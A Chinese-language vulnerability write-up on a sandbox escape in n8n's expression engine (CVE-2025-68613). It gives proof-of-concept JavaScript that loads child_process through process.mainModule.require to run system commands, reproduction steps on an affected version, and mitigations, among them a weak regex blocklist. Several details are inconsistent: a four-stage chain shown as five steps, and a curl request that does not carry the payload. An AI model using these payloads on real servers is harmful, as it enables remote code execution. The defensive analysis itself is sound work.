n8n沙箱逃逸漏洞全解析:CVE-2025-68613技术复现与防御

漏洞背景与影响范围

CVE-2025-68613是某开源工作流自动化工具n8n在表达式求值过程中存在的沙箱逃逸漏洞,影响版本范围从0.211.0至1.120.3。该漏洞允许攻击者通过精心构造的JavaScript表达式绕过沙箱限制,最终在宿主系统执行任意命令。作为企业级工作流核心组件,此类漏洞可能导致数据泄露、服务中断甚至供应链攻击等严重后果。

沙箱设计缺陷分析

n8n的表达式引擎采用基于JavaScript的沙箱机制,其核心设计目标是将用户自定义表达式与Node.js全局环境隔离。然而实际实现存在三处关键缺陷:

  1. 上下文隔离不彻底:表达式求值器在创建执行环境时,错误地将this绑定指向全局对象而非独立沙箱实例
  2. 模块系统暴露:未对require等核心模块访问进行拦截,导致攻击者可间接访问系统模块
  3. 原型链污染风险:未冻结关键对象的原型链,为属性劫持攻击提供可能

这些缺陷共同构成攻击面,使得攻击者能够通过JavaScript的原型链特性逐步突破沙箱边界。

漏洞利用原理详解

攻击链分解

典型攻击路径包含四个关键阶段:

  1. // 概念验证载荷结构
  2. (function(){
  3. // 阶段1:获取全局对象
  4. const global = this;
  5. // 阶段2:访问进程信息
  6. const process = global.process;
  7. // 阶段3:定位主模块
  8. const mainModule = process.mainModule;
  9. // 阶段4:加载子进程模块
  10. const childProcess = mainModule.require('child_process');
  11. // 阶段5:执行系统命令
  12. childProcess.execSync('id');
  13. })();

1. 全局对象获取

在非严格模式下,立即执行函数(IIFE)中的this默认指向全局对象。由于沙箱未正确隔离执行上下文,攻击者可直接获取Node.js的全局环境:

  1. // 正常沙箱应返回隔离对象
  2. console.log(this === global); // 预期false,实际返回true

2. 进程信息泄露

通过全局对象可访问process对象,该对象包含:

  • 当前工作目录(process.cwd())
  • 环境变量(process.env)
  • 命令行参数(process.argv)
  • 模块加载路径(process.mainModule)

3. 模块系统突破

mainModule.require()方法绕过了沙箱对require的直接调用限制。这种间接访问方式利用了Node.js模块系统的设计特性:

  1. // 正常沙箱应阻止模块加载
  2. try {
  3. require('fs'); // 直接调用被拦截
  4. } catch (e) {
  5. console.log('Blocked:', e.message);
  6. }
  7. // 漏洞利用方式
  8. const fs = process.mainModule.require('fs'); // 成功加载

4. 命令执行达成

最终通过child_process模块的同步执行方法实现RCE:

  1. const { execSync } = require('child_process');
  2. const output = execSync('whoami', { encoding: 'utf-8' });
  3. console.log('Current user:', output);

漏洞复现环境搭建

测试环境准备

  1. 版本选择:安装受影响版本1.120.0

    1. npm install n8n@1.120.0
  2. 启动服务

    1. n8n start --tunnel # 启用隧道模式便于外部访问
  3. 工作流配置

  • 创建HTTP节点接收POST请求
  • 添加Set节点配置恶意表达式:
    1. // 恶意表达式示例
    2. (()=>{
    3. const { execSync } = this.process.mainModule.require('child_process');
    4. return execSync('id').toString();
    5. })();

攻击演示步骤

  1. 发送构造的POST请求:

    1. curl -X POST http://localhost:5678/webhook/test \
    2. -H "Content-Type: application/json" \
    3. -d '{"input":"malicious"}'
  2. 观察服务端日志,可见系统命令执行结果:

    1. uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)

防御与修复方案

临时缓解措施

  1. 版本升级:立即升级至1.120.4或更高版本
  2. 网络隔离:限制工作流引擎的外部网络访问
  3. 输入验证:对表达式内容进行正则过滤:

    1. function sanitizeExpression(input) {
    2. // 禁止函数声明和关键对象访问
    3. const forbiddenPatterns = [
    4. /function\s*\(/,
    5. /this\./,
    6. /process\./,
    7. /require\(/
    8. ];
    9. return forbiddenPatterns.some(pattern => pattern.test(input))
    10. ? null
    11. : input;
    12. }

长期修复方案

  1. 沙箱重构:采用真正的隔离方案如VM2或Duktape
  2. CSP策略:实施严格的Content Security Policy
  3. 权限控制
    • 使用最小权限原则运行服务
    • 通过POSIX能力限制进程权限
  4. 审计日志:记录所有表达式执行情况

企业级安全建议

  1. 漏洞扫描:将该漏洞纳入CI/CD流水线检测项
  2. 沙箱监控:实时监控沙箱逃逸尝试行为
  3. 零信任架构
    • 工作流节点间实施双向TLS认证
    • 对敏感操作添加二次验证
  4. 应急响应:建立包含隔离、取证、修复的标准流程

该漏洞再次凸显了沙箱设计的复杂性。企业在采用工作流自动化工具时,应优先选择经过安全审计的商业解决方案,或对开源组件实施严格的安全管控。对于自建沙箱环境,建议参考行业安全标准如OWASP ESAPI进行加固。